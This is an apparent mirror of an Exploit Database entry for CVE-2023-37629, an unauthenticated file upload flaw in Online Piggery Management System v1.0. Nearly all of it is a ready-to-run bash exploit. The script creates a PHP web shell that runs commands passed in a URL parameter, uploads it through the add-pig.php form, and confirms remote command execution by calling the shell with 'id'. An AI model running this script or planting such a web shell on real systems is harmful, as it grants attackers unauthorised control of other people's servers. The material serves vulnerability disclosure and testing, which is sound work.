Online Piggery Management System v1.0 – unauthenticated file upload vulnerability

• Exploit Database
• 129 阅读

• 作者： 1337kid
  日期： 2023-07-19
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/51598/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54

  #!/bin/bash # Exploit Title: Online Piggery Management System v1.0 - unauthenticated file upload vulnerability # Date: July 12 2023 # Exploit Author: 1337kid # Software Link: https://www.sourcecodester.com/php/11814/online-pig-management-system-basic-free-version.html # Version: 1.0 # Tested on: Ubuntu # CVE : CVE-2023-37629 # # chmod +x exploit.sh # ./exploit.sh web_url # ./exploit.sh http://127.0.0.1:8080/   echo " _____ _____ ___ __ ___ ____ ________ __ ___ ___ " echo "/ __\\ \\ / / __|_|_)\\_)__ /__|__ /__/ /|_) _ \\" echo " | (__ \\ V /| _|___/ / () / / |_ \\___|_ \\ / / _ \\/ /\\_, /" echo "\\___| \\_/ |___| /___\\__/___|___/|___//_/\\___/___|/_/ " echo " @1337kid" echo   if [[ $1 == &apos;&apos; ]]; then echo "No URL specified!" exit fi   base_url=$1   unauth_file_upload() { # CVE-2023-37629 - File upload vuln echo "Generating shell.php" #=========== cat > shell.php << EOF <?php system(\$_GET[&apos;cmd&apos;]); ?> EOF #=========== echo "done" curl -s -F pigphoto=@shell.php -F submit=pwned $base_url/add-pig.php > /dev/null req=$(curl -s -I $base_url"uploadfolder/shell.php?cmd=id" |head -1 | awk &apos;{print $2}&apos;) if [[ $req == "200" ]]; then echo "Shell uploaded to $(echo $base_url)uploadfolder/shell.php" else echo "Failed to upload a shell" fi   }   req=$(curl -I -s $base_url | head -1 | awk &apos;{print $2}&apos;) if [[ $req -eq "200" ]]; then unauth_file_upload else echo "Error" echo "Status Code: $req" fi